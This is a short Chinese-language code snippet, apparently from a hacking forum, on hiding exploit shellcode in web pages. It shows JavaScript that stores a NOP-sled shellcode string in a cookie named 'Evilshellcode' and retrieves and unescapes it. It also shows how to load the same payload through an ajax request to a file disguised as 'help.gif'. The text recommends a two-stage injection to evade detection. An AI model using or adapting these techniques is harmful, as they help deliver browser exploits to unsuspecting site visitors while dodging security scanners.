cookie示例代码:
//存放
function setCookie(sVar, sVal){
theCookie = sVar + '=' + sVal + '; expires=Fri, 1 Jul 2020 09:45:27 UTC';
document.cookie = theCookie;}
shellcode="%9090%9090e800%5e00%8b64%303d00%8100c708%8b00%83c7c0%20b901%a500%fde2%e0ffe800%6a00%eb086c%46c6%ed79%ef56%9836%8afe%aa0e%0dfc%9e7c%bbf9%b035%2d49%7edb%e2d8%8e734e%75ec......"
setCookie('Evilshellcode', shellcode);
//取出
function getCookie(sVar){
cookies = document.cookie.split('; ');
for(var i = 1; i <= cookies.length; i++){
if(cookies[i - 1].split('=')[0] == sVar){return cookies[i - 1].split('=')[1];}}
return '';
}
a=unescape(getCookie('Evilshellcode'))
cookie存放的话,可以挂两次,第一次挂cookie写入代码无害,第二次再取出来结合新挂的代码来运行。怎么用随你了。
ajax来调用
<script src="http://jqueryjs.googlecode.com/files/jquery-1.3.2.min.js" type="text/javascript"></script>
var shellcode = $.ajax({
url: "help.gif",
async: false
}).responseText
help.gif内容
%9090%9090e800%5e00%8b64%303d00%8100c708%8b00%83c7c0%20b901%a500%fde2%e0ffe800%6a00%eb086c%46c6%ed79%ef56%9836%8afe%aa0e%0dfc%9e7c%bbf9%b035%2d49%7edb%e2d8%8e734e%75ec